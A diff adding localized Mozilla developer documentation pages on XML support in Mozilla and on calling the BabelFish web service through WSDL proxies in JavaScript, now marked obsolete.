+<p>Wybór grupy dyskusyjnej Mozilli dot. XML-a zalezy od natury pytania. Dla przykładu, pytania związane z technologią DOM powinny być zadawane na grupie mozilla.dev.tech.dom, pytania dotyczące stylów - na mozilla.dev.tech.css, i tak dalej. Grupa obejmująca dyskusje dotyczące ogólnie XML-a to mozilla.dev.tech.xml.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Specyfikacja lub technologia</td>
+ <td class="header">Status i/lub szersza dokumentacja</td>
+ </tr>
+ <tr>
+ <td>XML</td>
+ <td><a class="external" href="http://www.w3.org/TR/REC-xml">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Przestrzenie nazw w XML</td>
+ <td><a class="external" href="http://www.w3.org/TR/REC-xml-names/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Kojarzenie arkuszy stylów z dokumentami XML</td>
+ <td><a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Stylizacja dokumentów XML z zastosowaniem CSS</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>Manipulowanie dokumentami XML z zastosowaniem skryptów i DOM</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Inne_wspierane_Rekomendacje_W3C_ws._XML" name="Inne_wspierane_Rekomendacje_W3C_ws._XML">Inne wspierane Rekomendacje W3C ws. XML</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Specyfikacja lub Technologia</td>
+ <td class="header">Dokumentacja</td>
+ </tr>
+ <tr>
+ <td>XHTML</td>
+ <td><a class="external" href="http://www.w3.org/TR/xhtml1/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>XML Base (tylko łącza, nie stosowane z właściwościami <code>:visited</code> etc. <a href="/pl/CSS" title="pl/CSS">CSS</a>)</td>
+ <td><a class="external" href="http://www.w3.org/TR/xmlbase/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>XLink (tylko proste XLink-i)</td>
+ <td><a class="external" href="http://www.w3.org/TR/xlink/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>FIXptr</td>
+ <td><a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">"propozycja" W3C</a></td>
+ </tr>
+ <tr>
+ <td>XPointer Framework</td>
+ <td><a class="external" href="http://www.w3.org/TR/xptr-framework/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Schemat <code>element()</code> technologii XPointer</td>
+ <td><a class="external" href="http://www.w3.org/TR/xptr-element/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Schemat <code>xmlns()</code> technologii XPointer</td>
+ <td><a class="external" href="http://www.w3.org/TR/xptr-xmlns/">Rekomendacja W3C</a></td>
+ </tr>
+ <tr>
+ <td>Schemat <code>fixptr()</code> technologii XPointer</td>
+ <td>Ten schemat jest po prostu obiektem opakowującym FIXptr</td>
+ </tr>
+ <tr>
+ <td>Schemat <code>xpath1()</code> technologii XPointer</td>
+ <td><a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">Internet-Draft</a></td>
+ </tr>
+ <tr>
+ <td><code>document.load()</code>, <code>document.async</code></td>
+ <td><a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Część modułu DOM Level 3 Load &amp; Save, "Working Draft" W3C</a></td>
+ </tr>
+ </tbody>
+</table>
+
+<h4 id="XHTML" name="XHTML">XHTML</h4>
+
+<p>Mamy rozsądne wsparcie <a href="/pl/XHTML" title="pl/XHTML">XHTML</a>-a, większość rzeczy powinna działać. Dokumenty XHTML traktujemy różnie w zależności od ich typu mime (lub rozszerzenia jeśli pliki są ładowane z dysków lokalnych). Pliki, które przechodzą przez <em>code path</em> <a href="/pl/HTML" title="pl/HTML">HTML</a>-a nie wymagają sprawdzenia poprawności składni. Jak zauważysz, nie wszystkie właściwości XHTML-a są wspierane gdy wykonujesz code path HTML-a.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Typ MIME</td>
+ <td class="header">Rozszerzenie pliku</td>
+ <td class="header">Code Path</td>
+ </tr>
+ <tr>
+ <td>text/xml<br>
+ application/xml<br>
+ application/xhtml+xml</td>
+ <td>xml<br>
+ xht<br>
+ xhtml</td>
+ <td>XML</td>
+ </tr>
+ <tr>
+ <td>text/html</td>
+ <td>html<br>
+ htm</td>
+ <td>HTML</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Dokument nie musi być w całkości w języku XHTML. Można używać elementów XHTML-a w dowolnym dokumencie XML wykorzystując przestrzeń nazw XHTML. Przykłady można znaleźć w sekcji {{ Anch("Testing and QA") }}. Właściwa przestrzeń nazw dla XHTML-a znajduje się na stronie <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code>.</p>
+
+<p>Weź pod uwagę, iż obiekty XHTML-a, takie jak <code>&amp;auml;</code> działają jedynie w dokumentach zgodnych z XHTML-em z prawidłowym Formalnym Identyfikatorem Publicznym (lub innymi słowy, sekcją DOCTYPE z identyfikatorem PUBLIC). Obiekty XHTML-a nie będą działać w dowolnym dokumencie XML, nawet jeśli zostanie użyta przestrzeń nazw XHTML. Publiczne identyfikatory, które są rozpoznawane to:</p>
+
+<pre>-//W3C//DTD XHTML 1.0 Transitional//EN
+-//W3C//DTD XHTML 1.1//EN
+-//W3C//DTD XHTML 1.0 Strict//EN
+-//W3C//DTD XHTML 1.0 Frameset//EN
+-//W3C//DTD XHTML Basic 1.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN
+-//W3C//DTD SVG 20001102//EN
+-//WAPFORUM//DTD XHTML Mobile 1.0//EN
+</pre>
+
+<h4 id="XML_Linking_and_Pointing" name="XML_Linking_and_Pointing">Linkowanie i Wskazywanie XML</h4>
+
+<p>Wsparcie Linkowania w XML składa się z <a class="external" href="http://www.w3.org/TR/xmlbase">XML Base</a> (wykorzystywanego jedynie, gdy najedziesz myszką na link lub klikniesz link) oraz prostego <a class="external" href="http://www.w3.org/TR/xlink/">XLinks</a>. Możesz także wykorzystywać elementy linkujące z przestrzeni nazw XHTML. Przykłady znajdziesz w sekcji {{ Anch("Testing and QA") }}.</p>
+
+<p>For pointing into resources in XML documents Mozilla also supports <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">FIXptr</a>, a simplified, non-compatible version of XPointer. In addition to using FIXptr in links, it is possible to use it from scripts. See the proprietary {{ Source("dom/public/idl/core/nsIDOMXMLDocument.idl") }} interface. There is test case for <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=46954&amp;action=view">FIXptr links</a> and a <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=61629&amp;action=view">scripting example</a>.</p>
+
+<p>Since 1.4alpha, Mozilla also supports <a class="external" href="http://www.w3.org/TR/xptr-framework/">XPointer Framework</a>, <a class="external" href="http://www.w3.org/TR/xptr-element/">XPointer <code>element()</code> scheme</a>, <a class="external" href="http://www.w3.org/TR/xptr-xmlns/">XPointer <code>xmlns()</code> scheme</a>, XPointer <code>fixptr()</code> scheme and <a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">XPointer <code>xpath1()</code> scheme</a>. The XPointer processor is extensible and it is easy to implement support for other schemes - have a look at the {{ Source("content/xml/document/public/nsIXPointer.idl", "API") }}. The <code>xpath1()</code> scheme was {{ Source("content/xslt/src/xpath/nsXPath1Scheme.cpp", "implemented using this extensible mechanism") }}. There is also a {{ Source("dom/public/idl/core/nsIDOMXMLDocument.idl", "proprietary API from scripts") }} to the XPointer processor. There is a <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=119333&amp;action=view">testcase for XPointers</a> that you can also study.</p>
+
+<p>Lastly, there is a pref you might want to try (especially useful with FIXptr) that will select the link target when you traverse it. There is no UI for setting this pref yet, so you will need to manually edit the preferences file. Add this line:</p>
+
+<pre>pref("layout.selectanchor", true);
+</pre>
+
+<h4 id="DOM_Load_and_Save_Methods" name="DOM_Load_and_Save_Methods">DOM Load and Save Methods</h4>
+
+<p><code>document.load()</code> is a part of an old version of the W3C <a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a>. Mozilla currently implements only the <code>load()</code> method and the <code>async</code> property. Since 1.4alpha it has been possible to load documents synchronously, before that it was only asynchronous. {{ Source("content/xml/tests/load/", "See the load sample") }} in the XML tests directory. (Loading the load.html file from the LXR generated page will not work because LXR will munge the test.xml file into HTML and serve it as HTML. To test this functionality, create the files on your local disk or on a webserver.)</p>
+
+<h3 id="Outside_Supported_XML_W3C_Recommendations" name="Outside_Supported_XML_W3C_Recommendations">Outside Supported XML W3C Recommendations</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Specification or Technology</td>
+ <td class="header">Documentation</td>
+ <td class="header">Mozilla Project</td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XSLT" title="pl/XSLT">XSLT</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/xslt">W3C Recommendation</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XPath" title="pl/XPath">XPath</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/xpath">W3C Recommendation</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XMLHttpRequest" title="pl/XMLHttpRequest">XMLHttpRequest</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">W3C Draft</a></td>
+ <td><a class="external" href="http://www.mozilla.org/xmlextras/">XML Extras</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/DOMParser" title="pl/DOMParser">DOMParser</a> and <a href="/pl/XMLSerializer" title="pl/XMLSerializer">XMLSerializer</a></td>
+ <td><a class="external" href="http://www.mozilla.org/xmlextras/">Mozilla</a></td>
+ <td><a class="external" href="http://www.mozilla.org/xmlextras/">XML Extras</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/SAX" title="pl/SAX">SAX</a></td>
+ <td><a class="external" href="http://www.saxproject.org/" rel="freelink">http://www.saxproject.org/</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/pl/SOAP_in_Gecko-based_Browsers" title="pl/SOAP_in_Gecko-based_Browsers">SOAP</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/SOAP/">W3C Note</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Web Services</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XML-RPC" title="pl/XML-RPC">XML-RPC</a></td>
+ <td><a class="external" href="http://www.xmlrpc.com/spec">UserLand Software</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/xmlrpc/">XML-RPC</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/RDF" title="pl/RDF">RDF</a></td>
+ <td><a class="external" href="http://www.w3.org/RDF/">W3C Recommendations</a></td>
+ <td><a href="/pl/RDF" title="pl/RDF">RDF</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/SVG" title="pl/SVG">SVG</a></td>
+ <td><a class="external" href="http://www.w3.org/Graphics/SVG/">W3C Proposed Recommendation</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/svg/">SVG</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/MathML" title="pl/MathML">MathML</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/MathML/">W3C Recommendation</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/mathml/">MathML</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/P3P" title="pl/P3P">P3P</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/P3P/">W3C Recommendation</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/p3p/">P3P</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying" title="pl/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying">WSDL</a></td>
+ <td><a class="external" href="http://www.w3.org/TR/wsdl">W3C Note</a></td>
+ <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Web Services</a></td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XBL" title="pl/XBL">XBL</a></td>
+ <td><a href="/pl/XBL/XBL_1.0_Reference" title="pl/XBL/XBL_1.0_Reference">Mozilla's XBL reference</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/pl/XUL" title="pl/XUL">XUL</a></td>
+ <td><a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">Dokumentacja XUL Mozilli</a></td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Roadmap" name="Roadmap">Roadmap</h3>
+
+<p>Next big tasks would include support for XPointer <code>xpointer()</code> scheme ({{ Bug(32832) }}), XInclude ({{ Bug(201754) }}), XML Catalogs ({{ Bug(98413) }}), XForms ({{ Bug(97806) }}; work being done on implementing this as an extension), validating parser ({{ Bug(196355) }}), XML Schemas, and incremental layout of XML document ({{ Bug(18333) }}).</p>
+
+<p>To fully implement XLink, we need something called a link manager. See some initial <a class="external" href="http://www.mozilla.org/newlayout/xml/lmdesign.html">design documents</a>.</p>
+
+<h3 id="Testing_and_QA" name="Testing_and_QA">Testing and QA</h3>
+
+<p>We have a lot of testcases linked to from the <a class="external" href="http://www.mozilla.org/quality/browser_sc.html">browser standards compliance</a> QA page.</p>
+
+<p>Most of the core XML test documents on the CVS server are located in {{ Source("content/xml/tests") }}. We also have a couple online: the books demo and the IRS table of contents demo. Both of them demonstrate XML, Associating stylesheets with XML, displaying XML with CSS, Namespaces in XML, XHTML, simple XLinks, and manipulation of XML with scripts via DOM.</p>
+
+<p>There is an XML component in Bugzilla.</p>
+
+<p>We also have the "xhtml" keyword for XHTML bugs (these tend to be scattered across components).</p>
+
+<h3 id="How_can_I_help.3F" name="How_can_I_help.3F">How can I help?</h3>
+
+<p>If you can code, look for <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=helpwanted&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">helpwanted keyword in XML bugs</a>. We don't use that always, so if you want to avoid doing duplicate work you could start working on bugs that have <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;target_milestone=Future&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">Future milestone</a>, or otherwise have a milestone that is set way into the future.</p>
+
+<p>You can always test our XML support. We'd really like to get tests that can be run automatically (this would require knowledge of web development; <code>document.load()</code> and/or XML Extras might be needed), but probably most of the bugs we get have just been found by normal people trying to do something that works in some other browser and does not work in Mozilla.</p>
+
+<p>{{ languages( { "en": "en/XML_in_Mozilla", "zh-cn": "cn/Mozilla\u4e2d\u7684XML", "it": "it/XML_in_Mozilla", "es": "es/XML_en_Mozilla", "fr": "fr/XML_dans_Mozilla", "ja": "ja/XML_in_Mozilla" } ) }}</p>
diff --git a/files/pl/xml_web_services/accessing_web_services_in_mozilla_using_wsdl_proxying/index.html b/files/pl/xml_web_services/accessing_web_services_in_mozilla_using_wsdl_proxying/index.html
new file mode 100644
index 0000000000..474a702fb3
--- /dev/null
+++ b/files/pl/xml_web_services/accessing_web_services_in_mozilla_using_wsdl_proxying/index.html
@@ -0,0 +1,177 @@
+---
+title: Accessing Web Services in Mozilla Using WSDL Proxying
+slug: XML_Web_Services/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying
+translation_of: XML_Web_Services/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying
+---
+<p>{{ Obsolete_header() }} {{ Fx_minversion_note("3", "Native WSDL and SOAP support has been removed from Mozilla 1.9/Firefox 3.") }}</p>
+<p>The <a href="en/SOAP_in_Gecko-based_Browsers">SOAP in Gecko-based Browsers</a> (Simple Object Access Protocol) article covered how to access web services using the low-level SOAP API in Mozilla-based browsers. SOAP is an XML language that forms the basis upon which web services are built. Using SOAP has been somewhat tedious, requiring manual construction and delivery of the SOAP envelope the web service expects. SOAP-based response also has need to be parsed manually for the information required.</p>
+<p>Relief is in sight: As of Netscape 7.1/Mozilla 1.4, Gecko supports WSDL 1.1 (<a class="external" href="http://www.w3.org/TR/wsdl">Web Services Description Language</a>) proxying. A WSDL file describes the interfaces that a web service provides, similar to a header file in C or IDL. Using the WSDL file, Gecko can offer developers a way to "script" web services as if it were a native object, hiding the SOAP and XML aspect. For example, after creating a proxy instance of a web service using WSDL, one can call methods on the proxy object like one would on any JavaScript object (proxy.getTranslation("en_fr", "Hello World") for example).</p>
+<p>This article covers WSDL support in Mozilla 1.7-based browsers. It also addresses the cross-domain issue and new security model that Netscape is proposing that would allow web services to determine if the client can access the service from any domain or only specific domains.</p>
+<p>This article draws upon the <a class="external" href="http://xmethods.net/ve2/ViewListing.po?key=uuid:E00104D5-2AC8-9DEA-EF4C-8BD920E1B4DD">Babelfish</a> web service provided by <a class="external" href="http://www.xmethods.net/">XMethods</a>, which was the first site to implement the new Gecko web services security model, allowing Gecko browsers to directly access web services from other domains.</p>
+<h3 id="Creating_a_WSDL_Proxy" name="Creating_a_WSDL_Proxy">Creating a WSDL Proxy</h3>
+<p>A web service proxy can be created from JavaScript by creating an instance of <code>WebServiceProxyFactory</code>. The actual WSDL file is loaded by calling the <code>createProxyAsync</code> method on the <code>WebServiceProxyFactory</code> object.</p>
+<p><code>createProxyAsync</code> takes in five parameters:</p>
+<ol>
+ <li>The first one is the location of the WSDL file. For the BabelFish web service, it is <a class="external" href="http://www.xmethods.net/sd/2001/BabelFishService.wsdl" rel="freelink">http://www.xmethods.net/sd/2001/BabelFishService.wsdl</a>.</li>
+ <li>The second parameter is the port name. The port name can be found in the WSDL file itself, under the service element as shown in figure 1.</li>
+ <li>The third argument is an optional qualifier, which one doesn't have to worry about.</li>
+ <li>The fourth parameter is a boolean indicating if the proxy should be loaded asynchronous or not. Netscape 7.1/Mozilla 1.4 doesn't support synchronous proxy creation. Since the method name itself contains "Async", this parameter is somewhat redundant and should always be set to true.</li>
+ <li>The final parameter is the callback function (the creation listener) that gets called once the proxy is generated, which is discussed in detail in the next section.</li>
+</ol>
+<div class="figure">
+ <p><strong>JavaScript:</strong><br>
+ var factory = new WebServiceProxyFactory();<br>
+ factory.createProxyAsync("<a class="external" href="http://www.xmethods.net/sd/2001/BabelFishService.wsdl" rel="freelink">http://www.xmethods.net/sd/2001/BabelFishService.wsdl</a>", <span style="color: green;">"BabelFishPort"</span>, "", true, aCreationListener);<br>
+ <br>
+ <strong>WSDL:</strong><br>
+ &lt;?xml version="1.0"?&gt;<br>
+ &lt;definitions name="BabelFishService" ...&gt;<br>
+   ...<br>
+   &lt;service name="BabelFishService"&gt;<br>
+     &lt;documentation&gt;Translates text of up to 5k in length, between a variety of languages.&lt;/documentation&gt;</p>
+ <p>    &lt;port <span style="color: green;">name="BabelFishPort"</span> binding="tns:BabelFishBinding"&gt;<br>
+       &lt;soap:address location="<a class="external" href="http://services.xmethods.net:80/perl/soaplite.cgi" rel="freelink">http://services.xmethods.net:80/perl/soaplite.cgi</a>"/&gt;<br>
+     &lt;port&gt;<br>
+   &lt;/service&gt;<br>
+ &lt;/definitions&gt;<br>
+ <strong>Figure 1.</strong> Instantiating and initializing a web service proxy.</p>
+</div>
+<p>To recap, an interface look at the <code>createProxyAsync</code> method:</p>
+<p>void createProxyAsync (String wsdlURL, String portname, String qualifier, boolean isAsync, WebServiceProxyCreationListener listener)</p>
+<p><span class="comment">edited by sebastian gurin</span> where the argument's semantics are:</p>
+<pre class="eval"> <strong>wsdlURL:</strong> The URL of the WSDL service description. This description will be loaded and used as the basis for the service proxy.
+ <strong>portname:</strong> The name of the port of the service that this service proxy represents. Currently the port must represent a SOAP binding.
+ <strong>qualifier:</strong> The user-specified qualifier is incorporated into the names of XPCOM interfaces created for the service proxy. For C++ callers, this qualifier should be the same one used in creating the IDL used at compile time. Script callers need not specify a qualifier.
+ <strong>isAsync:</strong> If PR_TRUE, the method signatures of the service proxy represent an asynchronous calling convention. A callback instance must be registered with the proxy. A method call to a web service is only completed when the corresponding callback method is invoked. If PR_FALSE, the method signatures of the service proxy represent a synchronous callling convention. A method call to a web service is completed when the method call to the proxy returns.
+ <strong>listener:</strong> The callback instance which will be invoked when the proxy is completely initialized.
+</pre>
+<p>You can also use the simpler WebServiceProxyFactory::createProxy(wsdlURL, portname, qualifier,isAsync) method for create a web service proxy. The API description of WebServiceProxyFactory can be found <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWebServiceProxyFactory.html">here here</a></p>
+<h3 id="The_Callback" name="The_Callback">The Callback</h3>
+<p>As noted above, the last parameter <code>createProxyAsync</code> takes is a creation listener. The creation listener is an object which implements several methods. The creation listener is called when either the proxy generation has been successful or if an error has occurred. It is also used when a method is called on the proxy object.</p>
+<p>The creation listener is a variable that holds several methods. Since the proxy is generated asynchronously, it holds a <code>onLoad</code> function that gets called when the proxy has been initialized, meaning it is now possible to call methods on the proxy. <code>onError</code> is called if an error occurs while generating the proxy or during a method call.</p>
+<p>Calling a method on the proxy is also executed asynchronously. Therefore, the creation listener holds callbacks for each method that will be called. The methods for these follow a specific naming scheme: <code>{methodName}Callback</code>. The BabelFish web service only contains one method, <code>BabelFish</code> (in the WSDL, methods are denoted by the <code>operation</code> element), so the callback function is called <code>BabelFishCallback</code>. As can be seen from the WSDL file (relevant parts shown in figure 2), the <code>BabelFish</code> method takes in an <code>BabelFishRequest</code>, which is composed of two parameters, and returns the translated value as a string.</p>
+<div class="figure">
+ <p><strong>JavaScript:</strong><br>
+ var listener = {<br>
+ <br>
+   // gets called once the proxy has been instantiated<br>
+   <strong>onLoad</strong>: function (aProxy)<br>
+   {<br>
+     gProxy = aProxy;<br>
+     gProxy.setListener(listener);<br>
+     requestTranslation(aValue);<br>
+   },<br>
+ <br>
+   // gets called if an error occurs<br>
+   <strong>onError</strong>: function (aError)<br>
+   {<br>
+     alert("An error has occured while processing the WSDL file: " + aError);<br>
+   },<br>
+ <br>
+   // callback function is hardcoded to {methodname}Callback in 1.4beta<br>
+   <strong>BabelFishCallback</strong>  : function (aResult)<br>
+   {<br>
+     alert(aResult)<br>
+   }<br>
+ };<br>
+ <br>
+ function requestTranslation(aValue){<br>
+   if (gProxy) {<br>
+     gProxy.BabelFish("en_fr", aValue);<br>
+   } else {<br>
+     alert("Error: Proxy set up not complete!");<br>
+   }<br>
+ }<br>
+  </p>
+ <p><strong>WSDL:</strong><br>
+ &lt;message name="BabelFishRequest"&gt;<br>
+   &lt;part name="translationmode" type="xsd:string"/&gt;<br>
+   &lt;part name="sourcedata" type="xsd:string"/&gt;<br>
+ &lt;/message&gt;<br>
+ <br>
+ &lt;message name="BabelFishResponse"&gt;<br>
+   &lt;part name="return" type="xsd:string"/&gt;<br>
+ &lt;/message&gt;<br>
+ <br>
+ &lt;portType name="BabelFishPortType"&gt;<br>
+   &lt;operation <span class="color1">name="BabelFish"</span>&gt;<br>
+     &lt;input message="tns:BabelFishRequest"/&gt;<br>
+     &lt;output message="tns:BabelFishResponse"/&gt;<br>
+   &lt;/operation&gt;<br>
+ &lt;/portType&gt; <strong>Figure 2.</strong> Handling the callback.</p>
+</div>
+<h3 id="Example" name="Example">Example</h3>
+<p>This example takes the parts shown in previous figures and creates a fully working example of how to call the BabelFish web service to translate an user inputted string.</p>
+<p>The user is given a form to fill out, with two dropdowns and an input field. The first dropdown (id="lang_from") contains the language to translate from, and the second (id="lang_to") has the language to translate to. The input is used to enter the string that will be translated. There is also a button labeled "translate", which calls the function <code>initTranslation</code>. The function gets the chosen languages from the form and checks if they are the same. If they are different, the function <code>Translate</code> is called. The Babel Fish web service takes in two methods: a string of the format fromLanguage_toLanguage and the string to translate.</p>
+<div class="figure">
+ <pre>function initTranslation(){
+ var fromLang = document.getElementById('lang_from').value;
+ var toLang = document.getElementById('lang_to').value;
+
+ if (fromLang != toLang)
+ Translate(fromLang+'_'+toLang, document.getElementById('inputValue').value);
+ else
+ alert("Translating a language to itself is kinda useless :)");
+}
+</pre>
+ <p><strong>Figure 3.</strong> Initializing the translation</p>
+</div>
+<p>The <code>Translate</code> function is the one that actually takes care of the web service call. It first checks if a proxy object has already been created by checking if the global variable <code>gProxy</code> is not <code>null</code>. If it is null, then a creation listener is generated and stored into a variable called <code>listener</code>. It then calls the function <code>createProxy</code> with the creation listener. If however the proxy was already created, the <code>requestTranslation</code> function is called.</p>
+<div class="figure">
+ <p>var gProxy = null;<br>
+ <br>
+ function Translate(aLangToFrom, aString){<br>
+   if (!gProxy) {<br>
+     var listener = {<br>
+ <br>
+       // gets called once the proxy has been instantiated<br>
+       onLoad: function (aProxy)<br>
+       {<br>
+         gProxy = aProxy;<br>
+         gProxy.setListener(listener);<br>
+         requestTranslation(aLangToFrom, aString);<br>
+       },<br>
+ <br>
+       // gets called if an error occurs<br>
+       onError: function (aError)<br>
+       {<br>
+         alert("An error has occured: " + aError);<br>
+       },<br>
+ <br>
+       // callback function is hardcoded to {methodname}Callback<br>
+       BabelFishCallback  : function (aResult)<br>
+       {<br>
+         document.getElementById("results").innerHTML = aResult;<br>
+       }<br>
+     };<br>
+ <br>
+     <span class="color1">createProxy(listener)</span>;<br>
+   } else {<br>
+     <span class="color2">requestTranslation(aLangToFrom, aString)</span>;<br>
+   }<br>
+ }<br>
+ <br>
+ function <span class="color1">createProxy</span>(aCreationListener){<br>
+   try {<br>
+     var factory = new WebServiceProxyFactory();<br>
+     factory.createProxyAsync("<a class="external" href="http://www.xmethods.net/sd/2001/BabelFishService.wsdl" rel="freelink">http://www.xmethods.net/sd/2001/BabelFishService.wsdl</a>", "BabelFishPort", "", true, aCreationListener);<br>
+   } catch (ex) {<br>
+     alert("Failed creating the proxy: "+ ex);<br>
+   }<br>
+ }<br>
+ <br>
+ function <span class="color2">requestTranslation</span>(aLangToFrom, aString){<br>
+   if (gProxy) {<br>
+     gProxy.BabelFish(aLangToFrom, aString);<br>
+   } else {<br>
+     alert("Error: Proxy hasn't been set up correctly!");<br>
+   }<br>
+ }<br>
+ <strong>Figure 4.</strong> Proxy generation</p>
+</div>
+<p><code>createProxy</code> is run the first time a translation is requested. It instantiates a <code>WebServiceProxyFactory</code> and creates a new proxy using <code>createProxyAsync</code>, which uses the creation listener. Once the proxy has been created, the <code>onLoad</code> method defined in the creation listener is called. It stores the generated proxy in the global <code>gProxy</code> variable, sets the listener to be the creation listener and calls <code>requestTranslation</code>, as the proxy is now ready to be used.</p>
+<p>The <code>requestTranslation</code> function calls the <code>BabelFish</code> method on the proxy to initiate the web service call. If the call is sucessfull, the <code>BabelFishCallback</code> method in the creation listener is called, which writes out the translated value into a <code>div</code>. If the call failed for some reason (such as a SOAP fault was returned), <code>onError</code> is called.</p>
+<p>The full example can be seen{{ mediawiki.external('example.html here') }} (requires Netscape 7.1/Mozilla 1.4 or above).</p>
+<h3 id="The_security_model" name="The_security_model">The security model</h3>
+<p>One problem facing web services support in the browser is the cross-domain security model. JavaScript is limited to only being able to load data from the same domain the JavaScript lives on. For example, Netscape.com can only load XML using <a href="en/XMLHttpRequest">XMLHttpRequest</a> from the netscape.com domain, and not from foo.com. If a site is to be able to connect to a remove web service, a new security model is required.</p>
+<p>Netscape has proposed a security model to the W3C in which the web service provider determines if the web service is accessible by anyone, from certain domains only, or not at all from the Internet. An in-depth look at the security model can be found at {{ Source("extensions/webservices/docs/New_Security_Model.html") }}. In brief, the web service provider has to put an XML file in the top level directory where the web service is located. In the case of <a class="external" href="http://www.xmethods.net">XMethods</a>, it is located at <a class="external" href="http://services.xmethods.net/web-scripts-access.xml" rel="freelink">http://services.xmethods.net/web-scripts-access.xml</a> and allows any domain to contact the web service. This is why the example in this article can contact a cross-domain server.</p>
